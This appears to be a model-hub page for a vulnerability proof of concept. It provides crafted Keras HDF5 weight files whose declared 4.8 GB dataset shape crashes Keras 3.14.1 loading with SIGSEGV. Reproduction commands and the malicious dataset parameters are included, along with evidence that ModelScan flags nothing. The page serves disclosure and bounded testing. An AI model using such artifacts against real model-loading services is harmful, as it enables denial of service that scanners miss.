You can deploy this model and start earning money today!

pragnyanramtha/
hdf5-keras-h5iostore-shape-bomb-poc

Name: hdf5-keras-h5iostore-shape-bomb-poc
Availability: InStock

keras

Views

No views yet

Benign HDF5 / Keras H5IOStore Shape-Bomb PoC

This repository contains benign crash-only PoCs for a current Keras HDF5 loading path. Tiny HDF5 model-weight artifacts declare a 4.8 GB float32 dataset while storing no user chunks. Current Keras 3.14.1 still materializes that attacker-controlled dataset shape in runtime H5IOStore loading, causing a bounded child process to terminate with SIGSEGV.

Files

shape_bomb_current.weights.h5: 11.3 KiB Keras HDF5 weights artifact.
shape_bomb_current.keras: 1.3 KiB .keras ZIP archive containing an HDF5 model.weights.h5 member with the same shape-bomb dataset.
verify_weights_h5_shape_bomb.py: regenerates the .weights.h5 artifact and verifies model.load_weights().
verify_keras_shape_bomb.py: regenerates the .keras artifact and verifies keras.models.load_model().
results/verify_weights_load_weights_sigsegv.json: captured .weights.h5 verifier output.
results/verify_keras_load_model_sigsegv.json: captured .keras verifier output.
results/keras_file_editor_guard_output.txt: control showing the public KerasFileEditor guard rejects the same oversized dataset.
results/modelscan_shape_bomb_current_weights.json: ModelScan output for the weights artifact.
results/modelscan_shape_bomb_current_keras.json: ModelScan output for the .keras artifact.

Affected Target

Data format: HDF5 model weights, Keras .weights.h5 and .keras archive member model.weights.h5
Keras tested: 3.14.1
Python tested: 3.12.3
Backend tested: numpy
h5py tested: 3.16.0
HDF5 tested through h5py: 2.0.0
ModelScan tested: 0.8.8
PyPI version check on 2026-05-12 shows Keras 3.14.1 as the latest available version.

Impact

The artifacts declare this HDF5 dataset:

text

path: layers/dense/vars/0
shape: (1200000000,)
dtype: float32
declared bytes: 4800000000
stored bytes: 0
chunks: (1024,)

KerasFileEditor contains a public 4 GiB guard and rejects the same .keras artifact. The runtime load paths still reach np.array(value) on the HDF5 dataset without an equivalent byte cap:

keras.models.load_model("shape_bomb_current.keras", compile=False)
model.load_weights("shape_bomb_current.weights.h5")

Both verifier scripts set RLIMIT_AS inside a child process after imports. This keeps the proof bounded and prevents host-wide memory exhaustion. The child exits with return code -11 (SIGSEGV) in both paths.

This is availability impact only. No code execution, file read, file write, persistence, or network behavior is claimed.

Reproduction

bash

hf download pragnyanramtha/hdf5-keras-h5iostore-shape-bomb-poc \
  --repo-type model \
  --local-dir hdf5-keras-h5iostore-shape-bomb-poc
cd hdf5-keras-h5iostore-shape-bomb-poc

python3 -m pip install keras==3.14.1 h5py==3.16.0 numpy
KERAS_BACKEND=numpy python3 verify_weights_h5_shape_bomb.py --elements 1200000000 --limit-mb 768
KERAS_BACKEND=numpy python3 verify_keras_shape_bomb.py --elements 1200000000 --limit-mb 2048

Expected result:

text

"returncode": -11
"declared_bytes_float32": 4800000000
"storage_size": 0

The KerasFileEditor guard control:

bash

KERAS_BACKEND=numpy python3 - <<'PY'
from keras.saving import KerasFileEditor
try:
    KerasFileEditor("shape_bomb_current.keras")
    print("loaded unexpectedly")
except BaseException as e:
    print(type(e).__name__)
    print(str(e))
PY

Expected guard output:

text

ValueError
HDF5 dataset too large to load safely (4800000000 bytes; limit is 4294967296).

Scanner Behavior

ModelScan 0.8.8 reports zero issues for both artifacts.

bash

modelscan -p shape_bomb_current.weights.h5 -r json --show-skipped -o results/modelscan_shape_bomb_current_weights.json
modelscan -p shape_bomb_current.keras -r json --show-skipped -o results/modelscan_shape_bomb_current_keras.json

Observed summaries:

text

shape_bomb_current.weights.h5: total_issues=0, total_scanned=0, skipped MODEL_CONFIG
shape_bomb_current.keras: total_issues=0, total_scanned=0, embedded model.weights.h5 skipped MODEL_CONFIG

Hashes

text

SHA256(shape_bomb_current.weights.h5)=8384a9acd436f4d8043a19ed0cacb6caf75d8420d5f188631eeab01ce4120fcb
SHA256(shape_bomb_current.keras)=7b136b97da18cbef2cac36377dddd8e31ccb054c98f5749a1c783d0c16a83c7c

Limitations

DoS only.
The crash is demonstrated under explicit address-space limits so the proof is safe and reproducible.
This should be reported as a current-version incomplete fix/bypass for the HDF5 shape-bomb class, not as a new code-execution class.
The .keras scanner evidence has a TensorFlow-extra dependency warning in this environment; the runtime impact does not depend on ModelScan.